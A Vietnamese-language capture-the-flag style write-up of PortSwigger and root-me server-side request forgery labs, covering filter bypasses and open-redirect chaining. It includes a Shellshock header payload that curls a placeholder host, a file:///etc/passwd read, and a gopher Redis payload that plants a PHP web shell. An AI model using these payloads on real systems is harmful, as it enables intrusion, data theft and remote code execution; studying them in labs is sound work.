---
# System prepended metadata

title: Server-side request forgery (SSRF) - Portswigger
tags: [portswigger_labs, ssrf]

---

# Server-side Request Forgery (SSRF)


## 1.  Basic SSRF against the local server
```
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. 
```
![image](https://hackmd.io/_uploads/BJ2-X36bel.png)
Trang web này có một tính năng `Check Stock`. Khi ấn vào một POST request được gửi đi có dạng 
![image](https://hackmd.io/_uploads/H1_FXnpbgg.png)

đáng chú ý giá trị của biến `stockApi` là một url tới `http://stock.weliketoshop.net`
có thể đoán rằng server đã gửi request tới api này để lấy kết quả sau đó trả về cho ta.
-> vậy nếu ta sửa giá trị `stockApi` một url tới localhost thì sẽ có thể truy cập trang web dưới danh nghĩa server

- truy cập tới `http://localhost/admin` trả về dashboard của admin
![image](https://hackmd.io/_uploads/By5CN2Tbex.png)

- đường dẫn để xóa user có dạng `/admin/delete?username=xxx`
- ![image](https://hackmd.io/_uploads/BkPVHhabxx.png)

`http://localhost/admin/delete?username=carlos` và hoàn thành bài lab

![image](https://hackmd.io/_uploads/ry0wB2T-ee.png)


## 2.  Basic SSRF against another back-end system
```
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos
```
Vẫn tại tính năng `check stock` nhưng lần này nhiệm vụ của chúng ta là truy cập tới địa chỉ ip nội bộ

![image](https://hackmd.io/_uploads/S1mL836bxg.png)

Trước hết mình cần tìm `x`, ta sẽ sang tab Intruder để bruteforce dải mạng từ 0 -> 255
![image](https://hackmd.io/_uploads/Sk9YDhpWle.png)

-> có `192.168.0.138` trả về status code 200. 
> ngoài ra còn `192.168.0.1` cũng có dấu hiệu nhưng tạm thời bỏ qua vì mình chưa rõ tác dụng

Truy cập tới địa chỉ trên và có dashboard của admin trả về
![image](https://hackmd.io/_uploads/r1XWu36-xx.png)

`http://192.168.0.138:8080/admin/delete?username=carlos` và hoàn thành bài lab

![image](https://hackmd.io/_uploads/H15Eun6-gl.png)


## 3.  Blind SSRF with out-of-band detection
![image](https://hackmd.io/_uploads/Bkj__h6Zll.png)

Lần này không còn tính năng `Check Stock` nữa nên mình cần tìm sink khác

Dạo một vòng trang web thì chỉ có header `Referer` là có chứa giá trị url 
![image](https://hackmd.io/_uploads/ry6_j2TZgl.png)

-> trong một số tình huống server cũng sẽ truy cập tới url tại header này để biết trang web được truy cập từ đâu... Nhằm mục đích analysis, thống kê,... Những hành động này thường được thực hiện ngầm nên không có dấu hiệu rõ ràng

Thử truyền vào đó burp url collaborator 

![image](https://hackmd.io/_uploads/rkB0336-ex.png)

![image](https://hackmd.io/_uploads/S1tb626Zxl.png)


## 4.  SSRF with blacklist-based input filter
```
    To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. 
```
Tiếp tục với trang web bán hàng tại tính năng `check stock` thực hiện kiểm tra kho hàng bằng cách gửi request tới `stockApi`
![image](https://hackmd.io/_uploads/B1DkNHJ7ll.png)

-> vậy ta có thể lợi dụng `stockApi` này để khiến server thực hiện request tới địa chỉ url mình muốn. Và mục tiêu lần này là `http://localhost/admin` 
    
tuy nhiên khi truyền vào `localhost` 
![image](https://hackmd.io/_uploads/Sy_JBS1Xgl.png)

khi thử một giá trị khác vd: `google.com`
![image](https://hackmd.io/_uploads/HJ028By7ll.png)

-> có vẻ server đã phòng ssrf theo cách blacklist keyword, cụ thể là `localhost`, `127.0.0.1`

Với `127.0.0.1` có thể sử dụng giá trị thay thế bằng một ip bất kỳ trong dải mạng ip cục bộ `127.0.0.0/8` bởi bất kỳ ip nào trong dải đều sẽ trỏ về localhost
    
![image](https://hackmd.io/_uploads/SyPnDr1mlx.png)

tuyệt vời
ta đã thấy được `Admin Panel`
![image](https://hackmd.io/_uploads/rkJfurJmge.png)
![image](https://hackmd.io/_uploads/rkZXuH1Xeg.png)

gửi request tới `/admin/delete?username=carlos` và hoàn thành bài lab
![image](https://hackmd.io/_uploads/Hk6IuSJ7ge.png)

    
    
    
## 5.  SSRF with filter bypass via open redirection vulnerability

Vẫn tiếp tục với nhiệm vụ `delete user carlos`
    
`stockApi` nhận giá trị là relative Path nên có thể đoán việc check stock làn này được triển khai trên chính server 
![image](https://hackmd.io/_uploads/r1FSoBkmxl.png)

-> ta chỉ có thể gửi request tới những endpoint trên trang web

Khi `stockApi=/` thấy được `Admin Panel`
![image](https://hackmd.io/_uploads/SyaRhr1mge.png)
![image](https://hackmd.io/_uploads/ryG7THJQgg.png)

Nhưng khi truy cập vào `/admin` server lại trả về lỗi `Not Found`
![image](https://hackmd.io/_uploads/rkTITHkQxx.png)

bởi vì endpoint `/admin` được serve tại `http://192.168.0.12:8080/admin` trong mạng nội bộ, nên với `stockApi` ta không thể truy cập được mà cần tìm hướng khác

----
    
để ý lại trang web, mình thấy lần này giao diện có chút thay đổi, cụ thể có thêm một button `Next Product` ở cuối trang
![image](https://hackmd.io/_uploads/BkZDFSyQle.png)

button này trỏ tới `/product/nextProduct?currentProductId=1&path=/product?productId=2` nhưng khi click vào ta được redirect tới `/product?productId=2`
    
-> Vậy có thể đoán được parameter `path` thực hiện nhiệm vụ redirection cho trang web , mà ta lại kiểm soát được giá trị này nên hoàn toàn có khả năng SSRF tại đây 
    

tại param `path` mình thử truyền cả url `http://google.com` vô và confirm nó vẫn được xử lý
![image](https://hackmd.io/_uploads/B1Fb0IyQle.png)

![image](https://hackmd.io/_uploads/Hk87AUJ7ll.png)

    
tiếp tục truy cập vào admin và hoàn thành bài lab

```
stockApi = /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin/delete?username=carlos
```

![image](https://hackmd.io/_uploads/BJ7wAU1Xge.png)

        

## 6.  Blind SSRF with Shellshock exploitation
```!
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user
```
    
 **This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded**
    
![image](https://hackmd.io/_uploads/Syz1rSx7ex.png)
burp collaborator đã nhận được request từ phía server khi mình chèn url vào header `Referrer`
![image](https://hackmd.io/_uploads/Hk2AurgXxl.png)

Nhưng vấn đề là ta không thể đọc response của mục tiêu.
    
---
từ tiêu đề có vẻ mình cần exploit với `shellshock`
> [2] ShellShock
 This vulnerability in Bash allows remote code execution without confirmation. A series of random 
characters, () { :; }; , confuses Bash because it doesn't know what to do with them, so by default, it 
executes the code after it. 
    - theo: https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf

bug này xảy ra khi một server chạy CGI scripts và xử lý nó bằng bash shell, dẫn tới việc attacker có thể RCE lợi dụng việc bash xử lý các biến môi trường.

Các biến môi trường trong đó các HTTP header `user agent, referrer, ...` lại là những giá trị ta có thể kiểm soát hoàn toàn.

![image](https://hackmd.io/_uploads/ByUq3BlQxl.png)
    
---
payload shellshock thường đặt tại header User Agent và có dạng
    ```
    User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY
    ```

![image](https://hackmd.io/_uploads/HJ4Ci8emee.png)
mình thực hiện thử ping tới collaborator nhưng sau một thời gian vẫn không có phản hồi
    
Để ý lại mô tả lab, có vẻ là tại internal server trong dải `192.168.0.x` port 8080 là endpoint chạy CGI scripts với bash, tức là ta phải truy cập tới internal server này để thực thi payload shellshock
    
lúc này tận dụng Referrer header để truy cập tới đó, mình có
![image](https://hackmd.io/_uploads/r1Jk6Ig7le.png)

![image](https://hackmd.io/_uploads/B1D-aLe7ll.png)
    
done
    
server ping tới collaborator kèm OS username
![image](https://hackmd.io/_uploads/Hyn76IxQeg.png)
![image](https://hackmd.io/_uploads/ByxrTIg7ee.png)

    

    
    
## 7.  SSRF with whitelist-based input filter
```
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass. 
```
![image](https://hackmd.io/_uploads/rkIrJPk7lg.png)

khi thử truyền localhost server báo lỗi hostname không đúng
    
nhưng khi thử `http://localhost@stock.weliketoshop.net` thì không 
![image](https://hackmd.io/_uploads/rkTi1SeQlg.png)

-> vậy có thể đoán được phía server đã áp dụng filter chỉ cho phép hostname = `stock.weliketoshop.net`
    
 
Vấn đề ở đây có thể là việc parse url tại bước filter và bước thực hiện request được thực hiện khác nhau 

    
-> mục đích của ta sẽ là làm thế nào để tại bước filter `hostname` là `stock.weliketoshop.net` 
    
nhưng tại bước thực hiện request `hostname` sẽ trở thành `localhost`

----
thử thêm dấu hash `http://localhost#@stock.weliketoshop.net` server báo lỗi
![image](https://hackmd.io/_uploads/SJSweSx7ee.png)

vì lúc này kết quả url parse được là
![image](https://hackmd.io/_uploads/Byb0eSg7eg.png)


----

Từ trang academy mình biết được thông tin rằng một số server sẽ áp dụng url decode "recursively"
![image](https://hackmd.io/_uploads/SJrODNeQxe.png)

-> ta có thể thử url decode để gây nhiễu cho parser.
![image](https://hackmd.io/_uploads/SJ-WbHlmex.png)
thử double encode dấu hash và mình đã thấy kết quả trả về trang chủ được hiển thị
    
có thể phía backend có sự conflict giữa hàm filter và hàm thực hiện request
- tại hàm filter xử lý input đầu vào không thực hiện url decode. kết quả parse được là 
    ![image](https://hackmd.io/_uploads/rJOmfrx7xl.png)

- nhưng tại hàm thực hiện request lại url decode một cách đệ quy. kết quả lúc này url lại được hiểu là
    ![image](https://hackmd.io/_uploads/H1qIGBxQxl.png)

vậy phần filter đã bị bypass hoàn toàn, nhiệm vụ còn lại là truy cập tới trang admin và xóa user `carlos`
    
![image](https://hackmd.io/_uploads/B1LzENeXll.png)
![image](https://hackmd.io/_uploads/HkxQjMBgXgl.png)
**payload:**
```
    stockApi=<@urlencode>http://localhost%23@stock.weliketoshop.net/admin/delete?username=carlos</@urlencode>
```
![image](https://hackmd.io/_uploads/HJLkmrx7gl.png)
   


## 8. [root-me] Server Side Request Forgery 

![image](https://hackmd.io/_uploads/ByRkjwXQll.png)

Đây là một trang web crawler - hiển thị nội dung trang web của URL ta nhập vào.

Trước hết mình thử đọc file hệ thống
```
file:///etc/passwd
```
![image](https://hackmd.io/_uploads/S1_dsw7mxe.png)

Tuy nhiên file ta cần đọc `/passwd` cần quyền root để truy cập
![image](https://hackmd.io/_uploads/Hy_nsP77xg.png)

---

Đọc file `/var/www/html/index.php` ta có được source code
```php=
<?php 

$url = $_REQUEST["url"];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE); 
if(curl_error($ch)) echo '<br />Erreur Curl : ' . curl_error($ch);
curl_close($ch);
echo "<br />".$postResult;
?>
```

=> Dường như phía backend không filter gì cả, url được truyền trực tiếp vào hàm `curl()`

---

Tiếp tục thử scan các port đang mở trên server

![image](https://hackmd.io/_uploads/Bkd7AvQQgl.png)

Đáng chú ý có port 25 - SMTP trả về kết quả khác so với phần còn lại.
-> tức là port 25 mở và server có dịch vụ SMTP đang chạy
Nhưng impact của ssrf với smtp chỉ là gửi mail tùy ý nên mình chuyern hướng

---
Ngoài ra còn port `6379` mở - đây là port của Redis
![image](https://hackmd.io/_uploads/HJkJgTmmle.png)
![image](https://hackmd.io/_uploads/ryQ7mpmXle.png)
![image](https://hackmd.io/_uploads/SkOISamQlx.png)

phpinfo() confirm payload có hoạt động

```
 <?= system($_GET[cmd]);?>
```
**payload**
```
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3F%3D%20system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
```
![image](https://hackmd.io/_uploads/SJoVLpQmll.png)
![image](https://hackmd.io/_uploads/SJTg367Xge.png)
